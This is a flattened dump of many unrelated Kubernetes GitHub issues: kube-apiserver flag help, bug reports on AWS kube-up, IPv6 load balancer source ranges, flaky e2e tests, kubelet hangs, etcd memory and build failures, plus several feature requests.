authentication.       --bind-address=0.0.0.0: the ip address on which to serve the --read-only-port and --secure-port ports. the associated interface s  must be reachable by the rest of the cluster, and by cli/web clients. if blank, all interfaces will be used  0.0.0.0 .       --cert-dir=\ /var/run/kubernetes\ : the directory where the tls certs are located  by default /var/run/kubernetes . if --tls-cert-file and --tls-private-key-file are provided, this flag will be ignored.       --client-ca-file=\ \ : if set, any request presenting a client certificate signed by one of the authorities in the client-ca-file is authenticated with an identity corresponding to the commonname of the client certificate.       --cloud-config=\ \ : the path to the cloud provider configuration file.  empty string for no configuration file.       --cloud-provider=\ \ : the provider for cloud services.  empty string for no provider.       --cluster-name=\ kubernetes\ : the instance prefix for the cluster       --cors-allowed-origins=  : list of allowed origins for cors, comma separated.  an allowed origin can be a regular expression to support subdomain matching.  if this list is empty cors will not be enabled.       --etcd-config=\ \ : the config file for the etcd client. mutually exclusive with -etcd-servers.       --etcd-prefix=\ /registry\ : the prefix for all resource paths in etcd.       --etcd-servers=  : list of etcd servers to watch  http://ip:port , comma separated. mutually exclusive with -etcd-config       --event-ttl=1h0m0s: amount of time to retain events. default 1 hour.       --external-hostname=\ \ : the hostname to use when generating externalized urls for this master  e.g. swagger api docs.        --httptest.serve=: if non-empty, httptest.newserver serves on this address and blocks       --insecure-bind-address=127.0.0.1: the ip address on which to serve the --insecure-port  set to 0.0.0.0 for all interfaces . defaults to localhost.       --insecure-port=8080: the port on which to serve unsecured, unauthenticated access. default 8080. it is assumed that firewall rules are set up such that this port is not reachable from outside of the cluster and that port 443 on the cluster's public address is proxied to this port. this is performed by nginx in the default setup.       --kubelet-certificate-authority=\ \ : path to a cert. file for the certificate authority.       --kubelet-client-certificate=\ \ : path to a client key file for tls.       --kubelet-client-key=\ \ : path to a client key file for tls.       --kubelet-https=true: use https for kubelet connections       --kubelet-port=10250: kubelet port       --kubelet-timeout=5s: timeout for kubelet operations       --log-backtrace-at=:0: when logging hits line file:n, emit a stack trace       --log-dir=: if non-empty, write log files in this directory       --log-flush-frequency=5s: maximum number of seconds between log flushes       --logtostderr=true: log to standard error instead of files       --long-running-request-regexp=\  /|^   watch|proxy  /|$ | logs|portforward|exec /?$ \ : a regular expression matching long running requests which should be excluded from maximum inflight request handling.       --master-service-namespace=\ default\ : the namespace from which the kubernetes master services should be injected into pods       --max-requests-inflight=400: the maximum number of requests in flight at a given time.  when the server exceeds this, it rejects requests.  zero for no limit.       --min-request-timeout=1800: an optional field indicating the minimum number of seconds a handler must keep a request open before timing it out. currently only honored by the watch request handler, which picks a randomized value above this number as the connection timeout, to spread out load.       --old-etcd-prefix=\ \ : the previous prefix for all resource paths in etcd, if any.       --port=8080: deprecated: see --insecure-port instead       --profiling=true: enable profiling via web interface host:port/debug/pprof/       --public-address-override=0.0.0.0: deprecated: see --bind-address instead       --runtime-config=: a set of key=value pairs that describe runtime configuration that may be passed to the apiserver. api/<version> key can be used to turn on/off specific api versions. api/all and api/legacy are special keys to control all and legacy api versions respectively.       --secure-port=6443: the port on which to serve https with authentication and authorization. if 0, don't serve https at all.       --service-account-key-file=\ \ : file containing pem-encoded x509 rsa private or public key, used to verify serviceaccount tokens. if unspecified, --tls-private-key-file is used.       --service-account-lookup=false: if true, validate serviceaccount tokens exist in etcd as part of authentication.       --service-cluster-ip-range=<nil>: a cidr notation ip range from which to assign service cluster ips. this must not overlap with any ip ranges assigned to nodes for pods.       --service-node-port-range=: a port range to reserve for services with nodeport visibility.  example: '30000-32767'.  inclusive at both ends of the range.       --ssh-keyfile=\ \ : if non-empty, use secure ssh proxy to the nodes, using this user keyfile       --ssh-user=\ \ : if non-empty, use secure ssh proxy to the nodes, using this user name       --stderrthreshold=2: logs at or above this threshold go to stderr       --storage-version=\ \ : the version to store resources with. defaults to server preferred       --tls-cert-file=\ \ : file containing x509 certificate for https.   ca cert, if any, concatenated after server cert . if https serving is enabled, and --tls-cert-file and --tls-private-key-file are not provided, a self-signed certificate and key are generated for the public address and saved to /var/run/kubernetes.       --tls-private-key-file=\ \ : file containing x509 private key matching --tls-cert-file.       --token-auth-file=\ \ : if set, the file that will be used to secure the secure port of the api server via token authentication.       --v=0: log level for v logs       --version=false: print version information and quit       --vmodule=: comma-separated list of pattern=n settings for file-filtered logging           guohua@ghua amd64 $ echo $? 1          $ ./kube-apiserver --version kubernetes v1.0.2.1+171db6f75f4fd9-dirty

hi,  i want to start a cluster in an existing aws vpc using kube-up. i configured the necessary environment variables but during startup i run into the following error:       generating certs for alternate-names: ip:52.49.155.26,ip:10.240.9.9,ip:172.16.0.1,dns:kubernetes,dns:kubernetes.default,dns:kubernetes.default.svc,dns:kubernetes.default.svc.cluster.local,dns:kubernetes-master starting master adding tag to i-4bcc83c7: name=kubernetes-master adding tag to i-4bcc83c7: role=kubernetes-master adding tag to i-4bcc83c7: kubernetescluster=kubernetes waiting for master to be ready attempt 1 to check for master nodewaiting for instance i-4bcc83c7 to be running  currently pending  sleeping for 3 seconds... waiting for instance i-4bcc83c7 to be running  currently pending  sleeping for 3 seconds... waiting for instance i-4bcc83c7 to be running  currently pending  sleeping for 3 seconds... waiting for instance i-4bcc83c7 to be running  currently pending  sleeping for 3 seconds... waiting for instance i-4bcc83c7 to be running  currently pending  sleeping for 3 seconds...   master running   an error occurred  invalidaddress.notfound  when calling the describeaddresses operation: address '52.49.155.26' not found. attaching ip 52.49.155.26 to instance i-4bcc83c7 usage: aws  options  <command> <subcommand>  <subcommand> ...   parameters  to see help text, you can run:    aws help   aws <command> help   aws <command> <subcommand> help aws: error: argument --allocation-id: expected one argument      the public ip 52.49.155.26 that is mentioned there is nowhere to be found. it is not the automatically assigned public ip neither an elastic ip is allocated.  so i looked in the kubernetes repo and found that i could set master_reserved_ip to an existing elastic ip. i allocated a new elastic ip and set the variable. however the same error occurs.   the machine that runs kube-up has the following version of aws-cli:  aws-cli/1.10.46 python/3.5.1 darwin/16.0.0 botocore/1.4.36   is this maybe a race condition? how would i be able to solve it?   regards hrzbrg

create a service as put an ipv6 address in loadbalancersourceranges:      apiversion: v1 kind: service metadata:   name: headful spec:   type: loadbalancer   loadbalancersourceranges:   - 199.199.199.199/32   - 4700::/32   ports:   - port: 80   selector:     run: hostnames      watch kube-proxy's log fill up with:      e0919 18:40:37.982144       6 proxier.go:1247  failed to execute iptables-restore: exit status 2  iptables-restore v1.4.21: host/network  4700::' not found error occurred at line: 87 try  iptables-restore -h' or 'iptables-restore --help' for more information.        unclear whether it should: a  reject v6 addresses in this field b  accept v6 but not populate the firewall with them  obviously  c  accept v6 but not populate the firewall with them, log an event

as described by @derekwaynecarr from comments in  32468:  > developers that build web console experiences need to reproduce our qos calculation logic. this makes them vulnerable to the same bugs we just fixed in  33108 for each experience they produce. i am supportive of a read-only attribute on podstatus that states the qos class of a pod since once we have qos enforced on the node, we have said a pod cannot change its qos in its life-time.  @jwforres @vishh @balajismaniam

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2360/ failed:  k8s.io  probing container with readiness probe that fails should never be ready and never restart  conformance  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/container_probe.go:95 pod should have a restart count of 0 but got 1 expected     <bool>: false to be true /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/container_probe.go:94

flaked three times today in gci-gce, likely caused by https://github.com/kubernetes/kubernetes/pull/43508\r \r https://k8s-testgrid.appspot.com/sq-blocking gci-gce&include-filter-by-regex=%5eoverall%24%7c%5c%5bk8s%5c.io%5c%5d%5c%20deployment%5c%20recreatedeployment%5c%20should%5c%20delete%5c%20old%5c%20pods%5c%20and%5c%20create%5c%20new%5c%20ones

is this a bug report or feature request?  :\r  \r   what happened  :\r after rebooting a host  which had been previously cordoned and drained  i notice that sometimes the node stays  notready . if i look at the kubelet logs it looks like kubelet has hung early on in initialisation. the logs show it stopped at the following point:\r \r    \r nov 23 15:01:40  kubelet.service 1375 : i1123 15:01:40.777556    1375 feature_gate.go:156  feature gates: map  \r nov 23 15:01:40  kubelet.service 1375 : w1123 15:01:40.777734    1375 server.go:289  --cloud-provider=auto-detect is deprecated. the desired cloud provider should be set explicitly\r nov 23 15:01:40  kubelet.service 1375 : i1123 15:01:40.804425    1375 manager.go:149  cadvisor running in container: \ /sys/fs/cgroup/cpu,cpuacct/system.slice/kubelet.service\ \r    \r \r if i restart kubelet it initialises fine straight away.\r \r   what you expected to happen  :\r \r kubelet initialise straight away after a host reboot.\r \r   how to reproduce it  as minimally and precisely as possible   :\r cordon - drain - then reboot node  i'm using sudo reboot -f \r \r however the issue only occurs probably 33% of the time - other times kubelet starts normally, so probably some timing issue.\r \r   anything else we need to know?  :\r i used kill -3 to kill the process - so will attach the logs that include the stack traces when it is hung.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.1-1+2e77a3c658dd5d\ , gitcommit:\ 2e77a3c658dd5df223ca52b927ba2bbd80b24377\ , gittreestate:\ clean\ , builddate:\ 2017-10-20t08:11:49z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.1-1+2e77a3c658dd5d\ , gitcommit:\ 2e77a3c658dd5df223ca52b927ba2bbd80b24377\ , gittreestate:\ clean\ , builddate:\ 2017-10-20t08:11:49z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r running on ibm cloud vms  16 core 32gb memory \r - os  e.g. from /etc/os-release :\r 16.04.2 lts  xenial \r - kernel  e.g.  uname -a  :\r 4.4.0-92-generic  115-ubuntu smp thu aug 10 09:04:33 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r 

is this a bug report or feature request?  :\r bug report\r  \r \r   what happened  :\r i'm following the directions to run the sample controller on https://github.com/kubernetes/sample-controller\r when running it as directed, it gives these errors:\r $ go run  .go -kubeconfig=$home/.kube/config\r e1214 10:34:25.188240  177579 reflector.go:205  k8s.io/sample-controller/pkg/client/informers/externalversions/factory.go:73: failed to list  v1alpha1.foo: v1.listoptions is not suitable for converting to \ samplecontroller.k8s.io/v1alpha1\ \r e1214 10:34:26.188769  177579 reflector.go:205  k8s.io/sample-controller/pkg/client/informers/externalversions/factory.go:73: failed to list  v1alpha1.foo: v1.listoptions is not suitable for converting to \ samplecontroller.k8s.io/v1alpha1\ \r \r   what you expected to happen  :\r not to generate these errors.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1  have a working kube config.\r 2  checkout kubernetes/sample-controller\r 3  run it: ~/go/src/k8s.io/sample-controller$ go run  .go -kubeconfig=$home/.kube/config\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.845+542486186fd684-dirty\ , gitcommit:\ 542486186fd684db939098ffadeb1aa5dcd63498\ , gittreestate:\ dirty\ , builddate:\ 2017-10-02t22:37:04z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r gke\r - os  e.g. from /etc/os-release :\r my workstation is 14.04.5 lts, trusty tahr\r - kernel  e.g.  uname -a  :\r my workstation kernel is 4.4.0-96-generic\r - install tools:\r - others:\r go version 1.9

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r \r \r kind bug\r impossible to select a specific node to deploy the application onto.\r \r \r \r   what happened  :\r on rancher gui:\r workloads > deploy > name: mynginx; docker image: nginx:latest; scalable deployment of 1 pod; namespace: default; port > every node : 80.\r then node scheduling >  run all pods for this workload on a specific node > select in the menu one of my node\r launch\r deployement halts with this message:  deployment does not have minimum availability. debugging with \r     kubectl describe deployment mynginx  returns \r \r    \r conditions:\r type           status  reason\r    ----           ------  ------\r  available      false   minimumreplicasunavailable\r progressing    false   progressdeadlineexceeded\r    \r \r \r   what you expected to happen  :\r nginx application running on my node\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : version:\ go1.9.3\r - cloud provider or hardware configuration: custom\r - os  e.g. from /etc/os-release : linux amd64\r - kernel  e.g.  uname -a  : 4.15.6-300.fc27.x86_64\r - install tools:\r - others:\r

is this a bug report or feature request?:\r \r   \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: example-web\r   namespace: default\r   labels:\r     app: example-web\r ..........\r         securitycontext:\r           capabilities: {}\r           privileged: false\r           sysctls:\r           - name: kernel.msgmax\r             value: \ 65536\ \r           - name: net.ipv4.tcp_syncookies\r             value: \ 0\ \r           - name: net.ipv4.ip_local_port_range\r             value: \ 1024 65535\ \r           - name: net.core.somaxconn\r             value: \ 65535\ \r \r kubectl create --dry-run -f example-deploy2.yml\r error: error validating \ example-deploy2.yml\ : error validating data: validationerror deployment.spec.template.spec.containers 0 .securitycontext : unknown field \ sysctls\  in io.k8s.api.core.v1.securitycontext; if you choose to ignore these errors, turn validation off with --validate=false

per  70445, the gke upgrade/downgrade tests have been chronically flaky, and prone to blanket failures for internal-to-gke-reasons.\r \r per @aleksandra-malinowska, this is a long-term cleanup issue to make these tests less flaky.\r \r   /assign @aleksandra-malinowska\r /

which jobs are flaking  :\r   ci-kubernetes-e2e-gce-new-master-upgrade-master\r   ci-kubernetes-e2e-gce-new-master-upgrade-cluster\r   ci-kubernetes-e2e-gce-master-new-downgrade-cluster\r   ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new\r \r   which test s  are failing  :\r  when kubelet restarts should test that a volume mounted to a pod that is deleted while the kubelet is down unmounts when the kubelet returns. \r \r   testgrid link  :\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-master-new-downgrade-cluster\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new  fairly stable here \r \r   reason for failure  :\r timeout:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/generic_persistent_volume-disruptive.go:73\r expected pod to be not found.\r expected error:\r     < errors.errorstring | 0xc00009b860>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/utils/utils.go:242\r    \r \r   anything else we need to know  :\r   this test flakes on average ~10% of the time in the sig-release master-upgrade dashboards\r \r  /  /remove-kind failing test\r

it seems the http liveness probe will not follow a 302 redirect and instead reports a failure. i found this in some testing on 1.0.6 and have not yet verified the same behavior on latest. do you agree that it should check the redirected path on a 302? if so, where would be the best place to check the response code and handle this?

@wojtek-t  i have created a k8s cluster with 400 nodes, 16000pods 40 pods per node  and use a 5 nodes etcd cluster with 8g mem, 4 cpus . and i tested for e2e density, found an etcd problem oom , this is the details:  first, definitely, this issue is cased by a param of kube-controller-manager --kube-api-qps, from 20 to 100, and this can increase the rate of pods add/delete operation  second, also my doubt, batch creating pods create a rc with 16000 replicas  will not occur this problem, but batch deleting pods scale the rc with 0 replicas  does they both use etcd watch method . final, it  might be a misuse of etcd?  details: in the process of deploying 16000 pods will not occur this problem, and the etcd mem use just about 800~900m total 8g , the etcd snapshort is just about 46m when i batch deleting pods , the etcd mem use increasing straight up, then oom.

fyi. now the  types.generated.go  is this:      import       \ errors\      \ fmt\      codec1978 \ github.com/ugorji/go/codec\      pkg2_api \ k8s.io/kubernetes/pkg/api\      pkg1_unversioned \ k8s.io/kubernetes/pkg/api/unversioned\      pkg3_types \ k8s.io/kubernetes/pkg/types\      \ reflect\      \ runtime\      time \ time\         i think we should be re-organize this import order to this for better code style:      import       \ errors\      \ fmt\          \ reflect\      \ runtime\      time \ time\       pkg2_api \ k8s.io/kubernetes/pkg/api\      pkg1_unversioned \ k8s.io/kubernetes/pkg/api/unversioned\      pkg3_types \ k8s.io/kubernetes/pkg/types\          codec1978 \ github.com/ugorji/go/codec\

this problem still persist, i am running kubelet v1.2.4 on  coreos 1053.2.0 , i refereed prior open/closed issues  20146 ,  13556 and  15537.  i have openstack setup with db2. i get api calls on openstack which has encoded characters  name=%5enode%24  which causing issue.       info nova.osapi_compute.wsgi.server  req-_____ ______ ____ - - -  1.2.3.4 \ get /v2/_____/servers/detail?name=%5enode%24&status=active http/1.1\  status: 200 len: 187 time: 0.0362272      i tried using curl too, that didn't work but; it did after removing %5e and %24  name=node . possibility can be that regex doesn't work for db2 database?

and other platforms that may not have deb/rpm installation support

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gce-test/60/  run so broken it didn't make junit output!

when we choose subnets here: https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/aws.go l2411\r \r we should choose e.g. the first alphabetically.  we do sometimes have to make an arbitrary choice, but we should make the same choice as far as possible.

tests in https://github.com/kubernetes/kubernetes/tree/master/pkg/apimachinery/tests were placed there because they relied on kubernetes types, but the intent of the tests is to test api machinery.  they should be refactored to remove the cycle and moved to unit tests in the  staging/src/k8s.io/apimachinery .\r \r

this is a placeholder for tracking items required for graduating this feature to beta.

 \r mounted volumes : nfs server is on the same machine, mounted via pv-pvc\r \r   what happened  :\r after deploying some pods as rs and and mounting them with pvc, they run without issues. but once i try to  reboot  my host it gets  stuck  on un-mounting pod volumes.\r  stop job was running for   /var/lib/kubelet/pods/uuid.....   \r the systems reboots if i perform  reboot -f  or  reboot now \r \r   what you expected to happen  :\r normal reboot\r \r   anything else we need to know?  :\r latest version 1.10.3, single master untainted to run everything on the single machine.\r i tried with cgroupdriver : cgroupfs and systemd and still the same.\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os  e.g. from /etc/os-release : centos 7.5.1804\r - kernel  e.g.  uname -a  :  3.10.0-693.21.1.el7.x86_64\r - install tools: kubeadm, kubelet, kubectl, flannel, dashboard

root@ubuntu:/home/lk/go/src/k8s.io/kubernetes  make\r +++  1008 20:13:44  building the toolchain targets:\r    k8s.io/kubernetes/hack/cmd/teststale\r    k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r    k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r usage: link  options  main.o\r   -b note\r     \tadd an elf nt_gnu_build_id note when using elf\r   -d address\r     \tset data segment address  default -1 \r   -e entry\r     \tset entry symbol name\r   -h type\r        set header type\r   -i linker\r     \tuse linker as elf dynamic linker\r   -l directory\r     \tadd specified directory to library path\r   -r quantum\r     \tset address rounding quantum  default -1 \r   -t address\r     \tset text segment address  default -1 \r   -v\tprint version and exit\r   -x definition\r     \tadd string value definition of the form importpath.name=value\r   -a\tdisassemble output\r   -buildid id\r     \trecord id as go toolchain build id\r   -buildmode mode\r     \tset build mode\r   -c\tdump call graph\r   -cpuprofile file\r     \twrite cpu profile to file\r   -d\tdisable dynamic executable\r   -debugtramp int\r     \tdebug trampolines\r   -dumpdep\r     \tdump symbol dependency graph\r   -extar string\r     \tarchive program for buildmode=c-archive\r   -extld linker\r     \tuse linker when linking in external mode\r   -extldflags flags\r     \tpass flags to external linker\r   -f\tignore version mismatch\r   -g\tdisable go package data checks\r   -h\thalt on error\r   -installsuffix suffix\r     \tset package directory suffix\r   -k symbol\r     \tset field tracking symbol\r   -libgcc string\r     \tcompiler support lib for internal linking; use \ none\  to disable\r   -linkmode mode\r     \tset link mode\r   -linkshared\r     \tlink against installed go shared libraries\r   -memprofile file\r     \twrite memory profile to file\r   -memprofilerate rate\r     \tset runtime.memprofilerate to rate\r   -msan\r     \tenable msan interface\r   -n\tdump symbol table\r   -o file\r     \twrite output to file\r   -pluginpath string\r     \tfull path name for plugin\r   -r path\r     \tset the elf dynamic linker search path to dir1:dir2:...\r   -race\r     \tenable race detector\r   -s\tdisable symbol table\r   -tmpdir directory\r     \tuse directory for temporary files\r   -u\treject unsafe packages\r   -v\tprint link trace\r   -w\tdisable dwarf generation\r k8s.io/kubernetes/hack/cmd/teststale\r usage: link  options  main.o\r   -b note\r     \tadd an elf nt_gnu_build_id note when using elf\r   -d address\r     \tset data segment address  default -1 \r   -e entry\r     \tset entry symbol name\r   -h type\r     \tset header type\r   -i linker\r     \tuse linker as elf dynamic linker\r   -l directory\r     \tadd specified directory to library path\r   -r quantum\r     \tset address rounding quantum  default -1 \r   -t address\r     \tset text segment address  default -1 \r   -v\tprint version and exit\r   -x definition\r     \tadd string value definition of the form importpath.name=value\r   -a\tdisassemble output\r   -buildid id\r     \trecord id as go toolchain build id\r   -buildmode mode\r     \tset build mode\r   -c\tdump call graph\r   -cpuprofile file\r     \twrite cpu profile to file\r   -d\tdisable dynamic executable\r   -debugtramp int\r     \tdebug trampolines\r   -dumpdep\r     \tdump symbol dependency graph\r   -extar string\r     \tarchive program for buildmode=c-archive\r   -extld linker\r     \tuse linker when linking in external mode\r   -extldflags flags\r     \tpass flags to external linker\r   -f\tignore version mismatch\r   -g\tdisable go package data checks\r   -h\thalt on error\r   -installsuffix suffix\r     \tset package directory suffix\r   -k symbol\r     \tset field tracking symbol\r   -libgcc string\r     \tcompiler support lib for internal linking; use \ none\  to disable\r   -linkmode mode\r     \tset link mode\r   -linkshared\r     \tlink against installed go shared libraries\r   -memprofile file\r     \twrite memory profile to file\r   -memprofilerate rate\r     \tset runtime.memprofilerate to rate\r   -msan\r     \tenable msan interface\r   -n\tdump symbol table\r   -o file\r     \twrite output to file\r   -pluginpath string\r     \tfull path name for plugin\r   -r path\r     \tset the elf dynamic linker search path to dir1:dir2:...\r   -race\r     \tenable race detector\r   -s\tdisable symbol table\r   -tmpdir directory\r     \tuse directory for temporary files\r   -u\treject unsafe packages\r   -v\tprint link trace\r   -w\tdisable dwarf generation\r \r !!!  1008 20:13:44  call tree:\r \r !!!  1008 20:13:44   1: /home/lk/go/src/k8s.io/kubernetes/hack/lib/golang.sh:683 \r \r kube::golang::build_kube_toolchain ... \r \r !!!  1008 20:13:44   2: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r \r !!!  1008 20:13:44  call tree:\r \r !!!  1008 20:13:44   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r \r makefile.generated_files:322: recipe for target '_output/bin/deepcopy-gen' failed\r \r make 1 :      _output/bin/deepcopy-gen  error 1\r \r makefile:512: recipe for target 'generated_files' failed\r \r make:      generated_files  error 2\r  \r   kubernetes source code version 1.8.4 \r   go version 1.11\r how to solve this?

rancher users seem to use let's encrypt to expose their kube-apiserver. this means that their kubeconfig file has no client-ca. any custom controller that uses self-hosted eas to implement admission webhooks has no place to look for cabundle.\r \r but cabundle is a required field for webhook clientconfig . https://github.com/kubernetes/api/blob/e3c5c37695fbce2b0b46845e3bb4806c4b8faf47/admissionregistration/v1beta1/types.go l290\r \r we use the self-hosted webhook pattern shown in https://github.com/openshift/kubernetes-namespace-reservation with our tools . this makes installing such tools in rancher cluster very cumbersome.\r \r  cabundle  should be an optional field to indicate that webhook server might be using a trusted certificate.\r \r xref: https://github.com/kubedb/project/issues/309

what happened  :\r using kops 1.9.3 in aws with gossip based dns.\r \r i was doing a rolling-update of the master ig's to enable a some additional admission controllers.  podnodeselector and podtolerationrestriction  i did this in two other clusters with no problems. when the cluster got to rolling the third master  we run our cluster in a 3 master setup  it brought down the instance and tried to bring up the new master instance but the new master instance failed to join the cluster. upon further research and subsequent attempts to roll the third master to bring it into the cluster i found that the third, failing to join master, keeps trying to join the cluster as the old masters ip address. even though it's ip address is something different. watching a  kubectl get nodes | grep master  shows that the cluster thinks it's the old ip address and it fails because it's not that ip anymore. it seems that for some reason the cluster gossip based dns is not getting notified about the new master's ip address.\r \r this is causing problems because the kubernetes svc still has the old master's ip address in it, which is causing any api requests that get directed to that non-existent backend master to fail. it is also causing problems for etcd which keeps trying to contact it on the old ip address. lots of logs like this:\r \r  018-10-29 22:25:43.326966 w | etcdserver: failed to reach the peerurl http://etcd-events-f.internal.kops-prod.k8s.local:2381  of member 3b7c45b923efd852  get http://etcd-events-f.internal.kops-prod.k8s.local:2381/version: dial tcp 10.34.6.51:2381: i/o timeout \r 2018-10-29 22:25:43.327088 w | etcdserver: cannot get the version of member 3b7c45b923efd852  get http://etcd-events-f.internal.kops-prod.k8s.local:2381/version: dial tcp 10.34.6.51:2381: i/o timeout  \r \r one odd thing is that if i run  etcdctl cluster-health  on the available masters etcd instances they all show the unhealthy member id as f90faf39a4c5d077 but when i look at the etcd-events logs i see that it sees the unhealth member id as 3b7c45b923efd852. so there seems to be some inconsistency with etcd.\r \r since we are running in a three node master setup with one master down we don't want to restart any of the other masters to try to fix the problem because we're afraid to lose quorum on the etcd cluster.\r \r we use weave 2.3.0 as our network cni provider.\r \r \r   what you expected to happen  :\r \r master joins the cluster correctly and it's dns entry gets updated with it's new ip address.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i'm not sure.\r \r   anything else we need to know?  :\r noticed on the failing master that the weave cni config /etc/cni/net.d/10-weave.conf isn't getting created and the /etc/hosts files on the working masters isn't properly getting updated with the new master ip address. it seems like kube-proxy isn't getting the update for some reason.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client: 1.9.3\r server: 1.9.3\r \r - cloud provider or hardware configuration:\r aws. masters are on t2.mediums\r \r - os  e.g. from /etc/os-release :\r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r this is the default for kops 1.9\r \r - kernel  e.g.  uname -a  :\r linux ip-10-34-31-254 4.4.115-k8s\r \r - install tools:\r kops 1.9\r \r - others:\r weave 2.3.0 cni provider\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r when creating a service with annotation:  service.beta.kubernetes.io/load-balancer-source-ranges  containing multiple source ranges, the nsg should create a single rule with the source range collapsed. currently, each source range listed in  service.beta.kubernetes.io/load-balancer-source-ranges  results in a new rule.\r \r   why is this needed  :\r support creation of more rules in the cloud provider\r \r  cc: @khenidak @weinong @feiskyer \r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r network policies should be distributed on the order of creation. with this change, kubernetes will remember the order of network policy events and distribute them to clients in a fifo order.\r \r   why is this needed  :\r \r on restart events, network policies will be distributed to informers on a random order. this is unfavorable behavior for network policy clients, since users apply network policies in certain orders to reflect their desired state of the network.\r \r for example, users tend to apply a deny-all policy first, and then whitelist some traffic with subsequent network policies.\r \r this policy is usually applied first:\r    \r apiversion: networking.k8s.io/v1\r kind: networkpolicy\r metadata:\r   name: deny-all\r spec:\r   podselector: {}\r   policytypes:\r   - ingress\r   - egress\r    \r and some whitelisting network policy is applied later:\r    \r apiversion: networking.k8s.io/v1\r kind: networkpolicy\r metadata:\r   name: allow-some-cidr\r spec:\r   podselector: {}\r   policytypes:\r   - egress\r   egress:\r   - to:\r     - ipblock:\r         cidr: 1.2.3.4/32\r    \r like said before, on client restart events, the network policies will be distributed to clients in a random order, and does not reflect the original user intent.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r when i click the \ 1.14 what's new\ and \  no, really, you must do this before you upgrade \  i found that it can not jump to the content.\r   what you expected to happen  :\r click the \ 1.14 what's new\  then i can jump to the \ 1.14 what's new\ content.\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

